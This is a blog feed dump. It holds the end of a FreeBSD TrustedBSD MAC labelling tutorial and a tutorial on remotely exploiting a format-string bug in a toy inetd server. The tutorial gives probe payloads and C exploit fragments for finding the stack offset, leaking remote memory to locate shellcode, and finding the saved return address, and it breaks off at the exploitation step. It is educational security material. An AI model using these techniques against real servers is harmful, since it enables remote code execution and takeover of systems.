Login group is new. Invite new into other groups? []: &lt;br /&gt;   Login class [default]: insecure&lt;br /&gt;   Shell (sh csh tcsh bash nologin) [sh]: bash&lt;br /&gt;   Home directory [/home/new]: &lt;br /&gt;   Use password-based authentication? [yes]: &lt;br /&gt;   Use an empty password? (yes/no) [no]: &lt;br /&gt;   Use a random password? (yes/no) [no]: yes&lt;br /&gt;   Lock out the account after creation? [no]: &lt;br /&gt;   Username   : new&lt;br /&gt;   Password   : &lt;random&gt;&lt;br /&gt;   Full Name  : test user&lt;br /&gt;   Uid        : 2000&lt;br /&gt;   Class      : insecure&lt;br /&gt;   Groups     : new &lt;br /&gt;   Home       : /home/new&lt;br /&gt;   Shell      : /bin/bash&lt;br /&gt;   Locked     : no&lt;br /&gt;   OK? (yes/no): yes&lt;br /&gt;   adduser: INFO: Successfully added (new) to the user database.&lt;br /&gt;   adduser: INFO: Password for (new) is: VOdCyK11E2p&lt;br /&gt;   Add another user? (yes/no): no&lt;br /&gt;   Goodbye!&lt;br /&gt;&lt;br /&gt;   # su -s - new&lt;br /&gt;   $ id -u&lt;br /&gt;   2000&lt;br /&gt;   ^^^ from now "$" is the new user and "#" is root&lt;br /&gt;   $ pw user show new&lt;br /&gt;   new:*:2000:2000:insecure:0:0:test user:/home/new:/bin/bash&lt;br /&gt;&lt;br /&gt; II. Implementation and tests:&lt;br /&gt;&lt;br /&gt;   $ getpmac&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15&lt;br /&gt;&lt;br /&gt;   # setpmac partition/15,mls/equal top&lt;br /&gt;   Note: the top process will be killed before we start another top process.&lt;br /&gt;&lt;br /&gt;  A. mac_seeotheruids test&lt;br /&gt;&lt;br /&gt;   $ ps Zax&lt;br /&gt;                        biba/15(15-15),mls/15(15-15),partition/15  1096 #C:  S      0:00.03 -su (bash)&lt;br /&gt;                        biba/15(15-15),mls/15(15-15),partition/15  1101 #C:  R+     0:00.01 ps Zax&lt;br /&gt;   ^^^ we can't see processes except our own&lt;br /&gt;&lt;br /&gt;  B. mac_partition test&lt;br /&gt;&lt;br /&gt;   # sysctl sysctl security.mac.seeotheruids.enabled=0&lt;br /&gt;   ^^^ it will remain off for the rest of the example&lt;br /&gt;&lt;br /&gt;   $ ps Zax&lt;br /&gt;   LABEL                                                   PID  TT  STAT      TIME COMMAND&lt;br /&gt;   biba/equal(low-high),mls/equal(low-high),partition/15  1122 #C:  S+     0:00.02 top&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15              1096 #C:  S      0:00.05 -su (bash)&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15              1123 #C:  R+     0:00.01 ps Zax&lt;br /&gt;   ^^^ we can now see all processes in our partition (15)&lt;br /&gt;&lt;br /&gt;  C. mac_biba and mac_mls test&lt;br /&gt;&lt;br /&gt;   # setpmac partition/15,mls/equal,biba/high\(high-high\) top&lt;br /&gt;&lt;br /&gt;   $ ps Zax&lt;br /&gt;   LABEL                                        PID  TT  STAT    TIME  COMMAND&lt;br /&gt;   biba/high(high-high),mls/equal(low-high),partition/15   1251 #C:  S+     0:00.02 top&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15    1096 #C:  S      0:00.06 -su (bash)&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15    1157 #C:  R+     0:00.00 ps Zax&lt;br /&gt;   ^^^ biba allows us to read higher labelled objects&lt;br /&gt;&lt;br /&gt;   # setpmac partition/15,mls/equal,biba/low top&lt;br /&gt;&lt;br /&gt;   $ ps Zax&lt;br /&gt;   LABEL                                       PID  TT  STAT      TIME COMMAND&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15  1096 #C:  S      0:00.07 -su (bash)&lt;br /&gt;   biba/15(15-15),mls/15(15-15),partition/15  1226 #C:  R+     0:00.01 ps Zax&lt;br /&gt;   ^^^ biba doesn't allow lower labelled objects to be read (mls does!)&lt;br /&gt;&lt;br /&gt;   $ ifconfig rl0 | grep maclabel&lt;br /&gt;   maclabel biba/low(low-low),mls/low(low-low)&lt;br /&gt;   $ ping -c 1 66.218.71.114&lt;br /&gt;   PING 66.218.71.114 (66.218.71.114): 56 data bytes&lt;br /&gt;   ping: sendto: Permission denied&lt;br /&gt;   ^^^ everyone pings yahoo.com&lt;br /&gt;   You can set the default interface label to an insecure one (for testing purposes)&lt;br /&gt;   Add security.mac.biba.trust_all_interfaces=1 to sysctl.conf&lt;br /&gt;   This is caused due to the default policy label in the biba policy. Taken from:&lt;br /&gt;   (http://lists.freebsd.org/pipermail/freebsd-security/2003-September/000923.html)&lt;br /&gt;&lt;br /&gt;   # ifconfig rl0 maclabel biba/equal\(low-high\),mls/equal\(low-high\)&lt;br /&gt;   $ ping -c 1 66.218.71.114&lt;br /&gt;   PING 66.218.71.114 (66.218.71.114): 56 data bytes&lt;br /&gt;   64 bytes from 66.218.71.114: icmp_seq=0 ttl=50 time=204.455 ms&lt;br /&gt;&lt;br /&gt;   --- 66.218.71.114 ping statistics ---&lt;br /&gt;   1 packets transmitted, 1 packets received, 0% packet loss&lt;br /&gt;   round-trip min/avg/max/stddev = 204.455/204.455/204.455/0.000 ms&lt;br /&gt;   ^^^ pinging works now&lt;br /&gt;&lt;br /&gt;   # touch test1 test2 test3 test4 test5     &lt;br /&gt;   # getfmac test1&lt;br /&gt;   test1: biba/equal,mls/equal&lt;br /&gt;   # setfmac biba/low test1 test2; setfmac biba/high test4 test5; setfmac mls/low test1 test3; setfmac mls/high test2 test4&lt;br /&gt;   ^^^ can you keep up? :)&lt;br /&gt;   # setfmac mls/equal,biba/equal test3&lt;br /&gt;   # getfmac test?&lt;br /&gt;   test1: biba/low,mls/low&lt;br /&gt;   test2: biba/low,mls/high&lt;br /&gt;   test3: biba/equal,mls/equal&lt;br /&gt;   test4: biba/high,mls/high&lt;br /&gt;   test5: biba/high,mls/equal&lt;br /&gt;   # chown new:new test?&lt;br /&gt;   ^^^ owned by our user&lt;br /&gt;&lt;br /&gt;   Observation/read test:&lt;br /&gt;&lt;br /&gt;   $ ls&lt;br /&gt;   test1   test2   test3   test4   test5&lt;br /&gt;   $ ls test?&lt;br /&gt;   ls: test1: Permission denied&lt;br /&gt;   ls: test2: Permission denied&lt;br /&gt;   ls: test4: Permission denied&lt;br /&gt;   test3   test5&lt;br /&gt;   ^^^ we can't observe pairs (biba/low,mls/low) (biba/low,mls/high) and (biba/high,mls/high)&lt;br /&gt;   (and of course, we can't read them)&lt;br /&gt;&lt;br /&gt;   Writting test:&lt;br /&gt;&lt;br /&gt;   $ for i in `echo test*`; do echo 1 &gt; $i; done&lt;br /&gt;   -su: test1: Permission denied&lt;br /&gt;   -su: test4: Permission denied&lt;br /&gt;   -su: test5: Permission denied&lt;br /&gt;   ^^^ we can write to pairs (biba/low,mls/high) and (biba/equal,mls/equal)&lt;br /&gt;   $ cat test?&lt;br /&gt;   cat: test1: Permission denied&lt;br /&gt;   cat: test2: Permission denied&lt;br /&gt;   1&lt;br /&gt;   cat: test4: Permission denied&lt;br /&gt;   # cat test2&lt;br /&gt;   1&lt;br /&gt;   ^^^ yep, worked&lt;br /&gt;&lt;br /&gt; III. Conclusion:&lt;br /&gt;  A good security system will have good biba/lomac/mls policies, see&lt;br /&gt;  http://www.watson.org/~robert/freebsd/lomac-policy.contexts for an example.&lt;br /&gt;  Download file, edit it to suid your needs and then run: &lt;br /&gt;&lt;br /&gt;   # setfsmac -ef lomac-policy.contexts /&lt;br /&gt;&lt;br /&gt;5. Notes&lt;br /&gt;========&lt;br /&gt;&lt;br /&gt; I. I had problem when unloading module mac_partition after playing with labelling:  &lt;br /&gt;&lt;br /&gt;  module_register_init: MOD_LOAD (mac_partition, 0xc04c3480, 0xc2114e20) error 12&lt;br /&gt;&lt;br /&gt;  ^^^ after this I can't load the module anymore.&lt;br /&gt;&lt;br /&gt; II. Running startx as with as mls/equal(equal-equal) (biba/equal, lomac/equal) allows us to su&lt;br /&gt; into a lowclass/highclass user: (run from xterm)&lt;br /&gt;&lt;br /&gt;   # getpmac&lt;br /&gt;   mls/equal(equal-equal)&lt;br /&gt;   # su - new&lt;br /&gt;   $ getpmac&lt;br /&gt;   mls/equal(equal-equal)&lt;br /&gt;   # su -s - new&lt;br /&gt;   $ getpmac&lt;br /&gt;   mls/low(low-low)&lt;br /&gt;&lt;br /&gt; III. If subjects can read an object, they can also execute it.&lt;br /&gt;   # echo ls &gt; test1; echo ls &gt; test2; echo ls &gt; test3; echo ls &gt; test4; echo ls &gt; test5&lt;br /&gt;   # setfmac biba/2 test1; setfmac biba/4 test2; setfmac biba/5 test3; setfmac biba/6 test4; setfmac biba/9 test5&lt;br /&gt;   # chmod +x test?&lt;br /&gt;&lt;br /&gt;   $ getpmac&lt;br /&gt;   biba/5(equal-equal)&lt;br /&gt;   $ ./test1&lt;br /&gt;   ./test1: Permission denied&lt;br /&gt;   $ ./test2&lt;br /&gt;   ./test2: Permission denied&lt;br /&gt;   $ ./test3&lt;br /&gt;   test1   test2   test3   test4   test5&lt;br /&gt;   $ ./test4&lt;br /&gt;   test1   test2   test3   test4   test5&lt;br /&gt;   $ ./test5&lt;br /&gt;   test1   test2   test3   test4   test5&lt;br /&gt;&lt;br /&gt; IV. mac_lomac&lt;br /&gt;                I wasn't able to load this policy, so I couldn't test it.&lt;br /&gt;                In login.conf I've set: "lomac/equal" to default class and&lt;br /&gt;                "lomac/15" to insecure class. In messages I get:&lt;br /&gt;                &lt;br /&gt;                Apr  7 09:47:12 illusion kernel: Preloaded elf module "/boot/kernel/mac_lomac.ko" at 0xc077a4bc.&lt;br /&gt;                Apr  7 09:47:12 illusion kernel: Security policy loaded: TrustedBSD MAC/LOMAC (mac_lomac)&lt;br /&gt;                &lt;br /&gt;                The module is loaded:&lt;br /&gt;&lt;br /&gt;                # kldstat | grep mac_lomac&lt;br /&gt;                 6    1 0xc071d000 951c     mac_lomac.ko&lt;br /&gt;&lt;br /&gt;                Files don't have default labelling:&lt;br /&gt;&lt;br /&gt;                # getfmac /dev/kmem&lt;br /&gt;                /dev/kmem: mls/high&lt;br /&gt;&lt;br /&gt;                And I can't label files:&lt;br /&gt;&lt;br /&gt;                # setfmac lomac/equal test2; getfmac test2&lt;br /&gt;                test2: mls/equal&lt;br /&gt;&lt;br /&gt;6. Links of the day&lt;br /&gt;===================&lt;br /&gt;&lt;br /&gt; TrustedBSD: http://www.trustedbsd.org&lt;br /&gt; FreeBSD security: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/security.html&lt;br /&gt;&lt;br /&gt;7. Last words&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt; This tutorial is in alpha state so please send me comments to bugghy@rootshell.be&lt;br /&gt;&lt;br /&gt;THE USUAL DISCLAIMER:&lt;br /&gt;- ---------------------&lt;br /&gt; This file is for [of course] informational purposes only. &lt;giggle&gt; I&lt;br /&gt; don't take responsibility for anything anyone does after reading this file.&lt;br /&gt;&lt;br /&gt;DOCUMENTATION&lt;br /&gt;=============&lt;br /&gt;&lt;br /&gt; man pages&lt;br /&gt; http://www.freebsd.org (FBSD site)&lt;br /&gt; trial and error&lt;br /&gt; own experience&lt;br /&gt; my own mind (yeah ... sure)&lt;br /&gt;&lt;br /&gt;- -----------------------------------------------------------&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-5998880107340308687?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/5998880107340308687/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/trustedbsd-mandatory-access-control.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/5998880107340308687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/5998880107340308687'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/trustedbsd-mandatory-access-control.html' title='TrustedBSD Mandatory Access Control framework'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-1538271045130351283</id><published>2008-12-20T04:00:00.000+07:00</published><updated>2008-12-20T04:03:54.032+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>How to remotely and automatically exploit a format bug</title><content type='html'>Exploiting a format bug remotely can be something very funny. It&lt;br /&gt;allows to very well understand the risks associated to this kind of&lt;br /&gt;bugs. We won't explain here the basis for this vulnerability (i.e. its&lt;br /&gt;origin or the building of the format string) since there are already&lt;br /&gt;lots of articles available (see the bibliography at the end).&lt;div class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;--[  1. Context : the vulnerable server  ]--&lt;br /&gt;&lt;br /&gt;We will use very minimalist server (but nevertheless pedagogic) along&lt;br /&gt;this paper. It requests a login and password, then it echoes its&lt;br /&gt;inputs. Its code is available in appendix 1.&lt;br /&gt;&lt;br /&gt;To install the fmtd server, you'll have to configure inetd so that&lt;br /&gt;connections to port 12345 are allowed:&lt;br /&gt;&lt;br /&gt;# /etc/inetd.conf&lt;br /&gt;12345  stream  tcp  nowait  raynal  /home/raynal/MISC/2-MISC/RemoteFMT/fmtd&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Or with xinetd:&lt;br /&gt;&lt;br /&gt;# /etc/xinetd.conf&lt;br /&gt;&lt;br /&gt;service fmtd&lt;br /&gt;{&lt;br /&gt;  type        = UNLISTED&lt;br /&gt;  user        = raynal&lt;br /&gt;  group       = users&lt;br /&gt;  socket_type = stream&lt;br /&gt;  protocol    = tcp&lt;br /&gt;  wait        = no&lt;br /&gt;  server      = /tmp/fmtd&lt;br /&gt;  port        = 12345&lt;br /&gt;  only_from   = 192.168.1.1 192.168.1.2 127.0.0.1&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Then restart your server. Don't forget to change the rules of your&lt;br /&gt;firewall if you are using one.&lt;br /&gt;&lt;br /&gt;Now, let's see how this server is working:&lt;br /&gt;&lt;br /&gt;$ telnet bosley 12345&lt;br /&gt;Trying 192.168.1.2...&lt;br /&gt;Connected to bosley.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;login: raynal&lt;br /&gt;password: secret&lt;br /&gt;hello world&lt;br /&gt;hello world&lt;br /&gt;^]&lt;br /&gt;&lt;br /&gt;telnet&gt; quit&lt;br /&gt;Connection closed.&lt;br /&gt;&lt;br /&gt;Let's have a look at the log file:&lt;br /&gt;&lt;br /&gt;Jan  4 10:49:09 bosley fmtd[877]: login -&gt; read login [raynal^M ] (8) bytes&lt;br /&gt;Jan  4 10:49:14 bosley fmtd[877]: passwd -&gt; read passwd [bffff9d0] (8) bytes&lt;br /&gt;Jan  4 10:49:56 bosley fmtd[877]: vul() -&gt; error while reading input buf [] (0)&lt;br /&gt;Jan  4 10:49:56 bosley inetd[407]: pid 877: exit status 255&lt;br /&gt;&lt;br /&gt;During the previous example, we simply enter a login, a password and a&lt;br /&gt;sentence before closing the connexion. But what happens when we feed&lt;br /&gt;the server with format instructions:&lt;br /&gt;&lt;br /&gt;telnet bosley 12345&lt;br /&gt;Trying 192.168.1.2...&lt;br /&gt;Connected to bosley.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;login: raynal&lt;br /&gt;password: secret&lt;br /&gt;%x %x %x %x&lt;br /&gt;d 25207825 78252078 d782520&lt;br /&gt;&lt;br /&gt;The instructions "%x %x %x %x" being executed, it shows that our&lt;br /&gt;server is vulnerable to a format bug.&lt;br /&gt;&lt;br /&gt;&lt;off topic&gt;&lt;br /&gt;    In fact, all programs acting like that are not vulnerable to a&lt;br /&gt;    format bug:&lt;br /&gt;&lt;br /&gt;          int main( int argc, char ** argv ) &lt;br /&gt;          {&lt;br /&gt;            char buf[8];&lt;br /&gt;            sprintf( buf, argv[1] );&lt;br /&gt;          }&lt;br /&gt;      &lt;br /&gt;&lt;br /&gt;    Using %hn to exploit this leads to an overflow: the formatted&lt;br /&gt;    string is getting greater and greater, but since no control is&lt;br /&gt;    performed on its length, an overflow occurs.&lt;br /&gt;&lt;/off topic&gt;&lt;br /&gt;&lt;br /&gt;Looking at the sources reveals that the troubles come from vul()&lt;br /&gt;function:&lt;br /&gt;&lt;br /&gt;  ...&lt;br /&gt;  snprintf(tmp, sizeof(tmp)-1, buf);&lt;br /&gt;  ...&lt;br /&gt;&lt;br /&gt;since the buffer &lt;buf&gt; is directly available to a malicious user, the&lt;br /&gt;latter is allowed to take control of the server ... and thus gain a&lt;br /&gt;shell with the privileges of the server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[ 2. Requested parameters ]--&lt;br /&gt;&lt;br /&gt;The same parameters as a local format bug are requested here:&lt;br /&gt;&lt;br /&gt;    * the offset to reach the beginning of the buffer ;&lt;br /&gt;    * the address of a shellcode placed somewhere is the server's memory ;&lt;br /&gt;    * the address of the vulnerable buffer ;&lt;br /&gt;    * a return address.&lt;br /&gt;&lt;br /&gt;The exploit is provided as example in annexe 2. The following parts of&lt;br /&gt;this article explain how it was designed.&lt;br /&gt;&lt;br /&gt;Here are some variables used in the exploit:&lt;br /&gt;&lt;br /&gt;    * sd : the socket between client (exploit) and the vulnerable server ;&lt;br /&gt;    * buf : a buffer to read/write some data ;&lt;br /&gt;    * read_at : an address in the server's stack ;&lt;br /&gt;    * fmt : format string sent to the server.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  --[  2.1 Guessing the offset  ]--&lt;br /&gt;&lt;br /&gt;This parameter is always necessary for the exploitation of this kind of&lt;br /&gt;bug, and its determination works in the same way as with a local&lt;br /&gt;exploitation:&lt;br /&gt;&lt;br /&gt;telnet bosley 12345&lt;br /&gt;Trying 192.168.1.2...&lt;br /&gt;Connected to bosley.&lt;br /&gt;Escape character is '^]'.&lt;br /&gt;login: raynal&lt;br /&gt;password: secret&lt;br /&gt;AAAA%1$x&lt;br /&gt;AAAAa&lt;br /&gt;AAAA%2$x&lt;br /&gt;AAAA41414141&lt;br /&gt;&lt;br /&gt;Here, the offset is 2. It is very easy to guess it automatically, and&lt;br /&gt;that is what the function get_offset() aims at. It sends the string&lt;br /&gt;"AAAA%&lt;val&gt;$x" to the server. If the offset is &lt;val&gt;, then the server&lt;br /&gt;answers with the string "AAAA41414141" :&lt;br /&gt;&lt;br /&gt;  #define MAXOFFSET 255&lt;br /&gt;&lt;br /&gt;  for (i = 1; i&lt;MAX_OFFSET &amp;&amp; offset == -1; i++) {&lt;br /&gt;&lt;br /&gt;    snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);&lt;br /&gt;    write(sock, fmt, strlen(fmt));&lt;br /&gt;    memset(buf, 0, sizeof(buf));&lt;br /&gt;    sleep(1);&lt;br /&gt;    read(sock, buf, sizeof(buf))&lt;br /&gt;    if (!strcmp(buf, "AAAA41414141"))&lt;br /&gt;      offset = i;&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  --[  2.2 Guessing the address of the shellcode in the stack  ]--&lt;br /&gt;&lt;br /&gt;If one has to place a shellcode in the memory of the server, it then&lt;br /&gt;has to guess its address. It can be placed in the vulnerable buffer,&lt;br /&gt;or in any other place: we don't care due to format bug :) For&lt;br /&gt;instance, some ftp servers allowed to store it in the password (PASS),&lt;br /&gt;without not too many checks for anonymous or ftp account. Here, our&lt;br /&gt;server works that way.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    -- --[  Making a format bug a debugger  ]-- --&lt;br /&gt;&lt;br /&gt;We aim at finding the address of the shellcode placed in the memory of&lt;br /&gt;the server. So, we will transform the remote server in remote debugger !&lt;br /&gt;&lt;br /&gt;Using the format string "%s", one is allowed to read until the buffer&lt;br /&gt;is full or a NULL character is met. So, by sending successively "%s"&lt;br /&gt;to the server, the exploit is able to dump locally the memory of the&lt;br /&gt;remote process:&lt;br /&gt;&lt;br /&gt;         &lt;addr&gt;%&lt;offset&gt;$s&lt;br /&gt;&lt;br /&gt;In the exploit, it is performed in 2 steps:&lt;br /&gt;&lt;br /&gt;   1. The function get_addr_as_char(u_int addr, char *buf) converts&lt;br /&gt;      addr into char :&lt;br /&gt;       *(u_int*)buf = addr; &lt;br /&gt;&lt;br /&gt;   2. then, the next 4 bytes contains the format instruction.&lt;br /&gt;&lt;br /&gt;The format string is then sent to the remote server:&lt;br /&gt;&lt;br /&gt;  get_addr_as_char(read_at, fmt);&lt;br /&gt;  snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);&lt;br /&gt;  write(sd, fmt, strlen(fmt));&lt;br /&gt;&lt;br /&gt;The client reads a string at &lt;addr&gt;. If it contains no shellcode, the&lt;br /&gt;next reading is performed at this same address, to which one adds the&lt;br /&gt;amount of read bytes (i.e. the return value of read()).&lt;br /&gt;&lt;br /&gt;However, all the &lt;len&gt; read characters should not be considered. The&lt;br /&gt;vulnerable instruction on the server is something like:&lt;br /&gt;&lt;br /&gt;	  sprintf(out, in); &lt;br /&gt;&lt;br /&gt;To build the out buffer, sprintf() starts by parsing the &lt;in&gt;&lt;br /&gt;string. The first four bytes are the address we intend to read at: they&lt;br /&gt;are simply copied to the output buffer. Then, a format instruction is&lt;br /&gt;met and interpreted. Hence, we have to remove these 4 bytes:&lt;br /&gt;&lt;br /&gt;  while( (len = read(sd, buf, sizeof(buf))) &gt; 0) {&lt;br /&gt;    [ ... ]&lt;br /&gt;    read_at += (len-4+1);&lt;br /&gt;    [ ... ]&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    -- --[  What to look for ?  ]-- --&lt;br /&gt;&lt;br /&gt;Another problem is how to identify the shellcode in memory. If one&lt;br /&gt;just looks for all its bytes in the remote memory, there is a risk to&lt;br /&gt;miss it.  Since the buffer is ended by a NULL byte, the string placed&lt;br /&gt;just before can contain lots of NOPs. Hence the reading of the&lt;br /&gt;shellcode can be split among 2 readings.&lt;br /&gt;&lt;br /&gt;To avoid this, if the amount of read characters is equal to the size&lt;br /&gt;of the buffer, the exploit "forgets" the last sizeof(shellcode) bytes&lt;br /&gt;read from the server. Thus, the next reading is performed at:&lt;br /&gt;&lt;br /&gt;  while( (len = read(sd, buf, sizeof(buf))) &gt; 0) {&lt;br /&gt;    [ ... ]&lt;br /&gt;    read_at += len;&lt;br /&gt;    if (len == sizeof(buf))&lt;br /&gt;      read_at-=strlen(shellcode);&lt;br /&gt;    [ ... ]&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;This case has never been tested ... so I don't guarantee it works ;-/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    -- --[  Guessing the exact address of the shellcode  ]-- --&lt;br /&gt;&lt;br /&gt;Pattern matching in a string is performed by the function:&lt;br /&gt;&lt;br /&gt;	ptr = strstr(buf, pattern); &lt;br /&gt;&lt;br /&gt;It returns a pointer to the parsed string addressing the first byte of&lt;br /&gt;the searched pattern. Thus, the position of the shellcode is:&lt;br /&gt;&lt;br /&gt;	addr_shellcode = read_at + (ptr-buf); &lt;br /&gt;&lt;br /&gt;Except that the buffer contains bytes we need to ignore !!! As we have&lt;br /&gt;previously noticed while exploring the stack, the first four bytes of&lt;br /&gt;the output buffer are in fact the address we just read at:&lt;br /&gt;&lt;br /&gt;        addr_shellcode = read_at + (ptr-buf) - 4; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    -- --[  shellcode : a summary  ]-- --&lt;br /&gt;&lt;br /&gt;Sometimes, some code is worthier than long explanations:&lt;br /&gt;&lt;br /&gt;  while( (len = read(sd, buf, sizeof(buf))) &gt; 0) {&lt;br /&gt;    if ((ptr = strstr(buf, shellcode))) {&lt;br /&gt;      addr_shellcode = read_at + (ptr-buf) - 4;&lt;br /&gt;      break;&lt;br /&gt;    }&lt;br /&gt;    read_at += (len-4+1);&lt;br /&gt;    if (len == sizeof(buf)) {&lt;br /&gt;      read_at-=strlen(shellcode);&lt;br /&gt;    }&lt;br /&gt;    memset (buf, 0x0, sizeof (buf));&lt;br /&gt;    get_addr_as_char(read_at, fmt);&lt;br /&gt;    write(sd, fmt, strlen(fmt));&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  --[  2.3 Guessing the return address  ]--&lt;br /&gt;&lt;br /&gt;The last (but not the least) parameter to determine is the return&lt;br /&gt;address. We need to find a valid return address in the remote process&lt;br /&gt;stack to overwrite it with the one of the shellcode.&lt;br /&gt;&lt;br /&gt;We won't explain here how the functions are called in C, but simply&lt;br /&gt;remind how variables and parameters are placed in the stack. Firstly&lt;br /&gt;the arguments are placed in the stack from the last one (upper) to the&lt;br /&gt;first one (most down). Then, instructions registers (%eip) is saved on&lt;br /&gt;the stack, followed by the base pointer register (%ebp) which&lt;br /&gt;indicates the beginning of the memory for the current function. After&lt;br /&gt;this address, the memory is used for the local variables. When the&lt;br /&gt;function ends, %eip is popped and clean up is made on the stack. This&lt;br /&gt;just means that the registers %esp and %ebp are popped according to&lt;br /&gt;the calling function. The stack is not cleaned up in any way.&lt;br /&gt;&lt;br /&gt;So, our goal is to find a place where the register %eip is saved. Two&lt;br /&gt;steps are used:&lt;br /&gt;&lt;br /&gt;   1. find the address of the input buffer&lt;br /&gt;   2. find the return address of the function the vulnerable buffer&lt;br /&gt;      belongs to.&lt;br /&gt;&lt;br /&gt;Why do we need to look for the address of the buffer ? All pairs&lt;br /&gt;(saved ebp, saved eip) that we could find in the stack are not good&lt;br /&gt;for our purpose. The stack is never really cleaned up between&lt;br /&gt;different calls.  So it contains values used for previous calls, even&lt;br /&gt;if they won't really be used by the process.&lt;br /&gt;&lt;br /&gt;Thus, by firstly guessing the address of the vulnerable buffer, we&lt;br /&gt;have a point above which all pairs (saved ebp, saved eip) are valid&lt;br /&gt;since the vulnerable buffer is itself on the top of the stack :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    -- --[  Guessing the address of the buffer  ]-- --&lt;br /&gt;&lt;br /&gt;The input buffer is easily identified in the remote memory: it is a&lt;br /&gt;mirror for the characters we feed it with. The server fmtd copies them&lt;br /&gt;without any modification (Warning: if some characters were placed by&lt;br /&gt;the server before its answer, they should be considered).&lt;br /&gt;&lt;br /&gt;So, we simply have to look at the exact copy of our format string in&lt;br /&gt;the server's memory:&lt;br /&gt;&lt;br /&gt;  while((len = read(sd, buf, sizeof(buf))) &gt; 0) {&lt;br /&gt;    if ((ptr = strstr(buf, fmt))) {&lt;br /&gt;      addr_buffer = read_at + (ptr-buf) - 4;&lt;br /&gt;      break;&lt;br /&gt;    }&lt;br /&gt;    read_at += (len-4+1);&lt;br /&gt;    memset (buf, 0x0, sizeof (buf));&lt;br /&gt;    get_addr_as_char(read_at, fmt);&lt;br /&gt;    write(sd, fmt, strlen(fmt));&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    -- --[  Guessing the return address  ]-- --&lt;br /&gt;&lt;br /&gt;On most of the Linux distributions, the top of the stack is at&lt;br /&gt;0xc0000000. This is not true for all the distributions: Caldera put it&lt;br /&gt;at 0x80000000 (BTW, if someone can explain me why ?). The space&lt;br /&gt;reserved in it depends on the needs of the program (mainly local&lt;br /&gt;variables). These are usually placed in the range 0xbfffXXXX, where &lt;XX&gt;&lt;br /&gt;is an undefined byte. On the contrary, the instruction of the process&lt;br /&gt;(.text section) are loaded from 0x08048000.&lt;br /&gt;&lt;br /&gt;So, we have to read the remote stack to find something that looks&lt;br /&gt;like:&lt;br /&gt;&lt;br /&gt;		Top of the stack&lt;br /&gt;		   0x0804XXXX&lt;br /&gt;		   0xbfffXXXX&lt;br /&gt;&lt;br /&gt;Due to little endian, this is equivalent to looking for the string&lt;br /&gt;0xff 0xbf XX XX 0x04 0x08. As we have seen, we don't have to consider&lt;br /&gt;the first 4 bytes of the returned string:&lt;br /&gt;&lt;br /&gt;    i = 4;&lt;br /&gt;    while (i&lt;len-5 &amp;&amp; addr_ret == -1) {&lt;br /&gt;      if (buf[i] == (char)0xff &amp;&amp; buf[i+1] == (char)0xbf &amp;&amp;&lt;br /&gt;	  buf[i+4] == (char)0x04 &amp;&amp; buf[i+5] == (char)0x08) {&lt;br /&gt;	addr_ret = read_at + i - 2 + 4 - 4;&lt;br /&gt;	fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);&lt;br /&gt;      }&lt;br /&gt;      i++;&lt;br /&gt;    }&lt;br /&gt;    if (addr_ret != -1) break;&lt;br /&gt;&lt;br /&gt;The variable &lt;addr_ret&gt; is initialized with a very complex formula:&lt;br /&gt;&lt;br /&gt;    * addr_ret : the address we just read ;&lt;br /&gt;    * +i : the offset in the string we are looking for the pattern (we&lt;br /&gt;      can't use strstr() since our pattern has wildcards - undefined&lt;br /&gt;      bytes XX) ;&lt;br /&gt;    * -2 : the first bytes we discover in the stack are ff bf, but&lt;br /&gt;      he full word (i.e. saved %ebp) is written on 4 bytes. The -2&lt;br /&gt;      is for the 2 "least bytes" placed at the beginning of the word XX&lt;br /&gt;      XX ff bf ;&lt;br /&gt;    * +4 : this modification is due to the return address which is 4&lt;br /&gt;      bytes above the saved %ebp ;&lt;br /&gt;    * -4 : as you should be used to now, the first 4 bytes which are a&lt;br /&gt;      copy of the read address.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[  3. Exploitation  ]--&lt;br /&gt;